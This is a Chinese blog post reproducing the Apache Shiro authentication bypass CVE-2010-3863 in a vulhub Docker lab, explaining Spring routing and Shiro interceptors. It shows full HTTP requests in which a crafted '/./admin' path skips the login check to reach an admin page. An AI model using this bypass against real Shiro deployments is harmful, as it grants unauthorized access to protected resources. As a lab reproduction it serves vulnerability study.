Apache Shiro认证绕过漏洞复现CVE-2010-3863

发布于 2023-08-09  446 次阅读


前置知识

  • 首先是环境配置,cd到CVE-2010-3863目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下
find ./ -name *CVE-2010*
docker-compose up -d
docker ps

  • 上一篇CVE-2016-4437打的也是shiro框架,就不再介绍了

  • Apache Shiro在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

  • "Spring动态控制器"指的是基于 Spring 框架的控制器(Controller),它们负责处理 Web 请求并返回相应的响应。Spring MVC 是一个常见的 Web 应用程序框架,提供了一种声明式的方式来定义和处理控制器。

  • 在用户访问路径的时候会经过以下步骤:

1. 用户发送请求。
2. 请求到达路由,路由根据配置的规则将请求分派给相应的控制器。
3. 控制器接收请求并处理业务逻辑。
4. 控制器生成响应数据。
5. 响应数据返回给用户。
  • 其中有两个重要概念,路由和控制器:

  • 路由也是在 Web 框架中实现的,但它是用来配置和管理请求的映射规则。路由定义了请求的路径和对应的处理器(可能是控制器),以便框架能够将请求分派给正确的处理程序。

  • 路由确定了用户请求应该被传递给哪个控制器进行处理。路由的配置规则定义了请求的 URL 或路径与相应控制器之间的映射关系。通过路由配置,Web 框架能够将特定的请求路由到正确的控制器。

  • 控制器负责接收用户请求并处理相关的业务逻辑。当用户发送请求时,路由将请求分派给相应的控制器,控制器根据请求的内容进行处理,并生成适当的响应数据。

  • 控制器通常是在 Web 框架(如Spring MVC、Express.js等)中作为对象或类进行实现。控制器通过定义请求映射(Request Mapping)来监听特定的 URL 或路由,从而接收用户的请求。控制器可以包含多个方法,每个方法处理不同的请求。

  • 漏洞的利用条件是Apache Shiro版本在1.1.0以前

漏洞复现

  • 首先得访问一下服务,docker可以看到是开在8080端口的,访问一下.

  • 这个漏洞产生的地方是shiro的拦截器,拦截器(Interceptor)是用于保护应用程序资源和执行访问控制的重要组件。Shiro 拦截器允许您在用户请求到达应用程序处理程序之前或之后执行特定的操作。
  • 以下是几个常见的 Shiro 拦截器:
AuthenticationInterceptor:用于验证用户身份信息,确保用户已经通过身份验证。如果用户未通过身份验证,则该拦截器
将重定向或返回错误响应。

AuthorizationInterceptor:用于验证用户是否具有执行特定操作或访问资源所需的权限。如果用户没有足够的权限,则该
拦截器可能会阻止用户访问受限资源或执行敏感操作。

SessionValidationInterceptor:负责验证用户会话的有效性。它检查用户的会话是否过期或被篡改,并采取相应的措施,
如重新验证用户身份或要求用户重新登录。

LogoutInterceptor:用于处理用户登出操作。该拦截器可能会清除用户的会话信息、注销用户身份验证状态或执行其他与用
户登出相关的操作。
  • 用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访问资源。

  • 在最早的另一个漏洞中,*表示匹配零个或多个字符串,/*可以匹配/hello,但匹配不到/hello/因为*通配符无法匹配路径。

  • 如果我们给/hello链接设置了拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello形式和/hello/形式的URL访问的资源是一样的。那么就实现了没有登录就越权访问了/hello目录

  • 那么利用方法就显而易见了:

  1. 直接请求管理页面/admin/,无法访问,将会被重定向到根目录
GET /admin HTTP/1.1
Host: 192.168.1.105:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

  1. 构造恶意请求/./admin,即可绕过权限校验,访问到管理页面\
GET /./admin HTTP/1.1
Host: 192.168.1.105:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

届ける言葉を今は育ててる
最后更新于 2024-02-07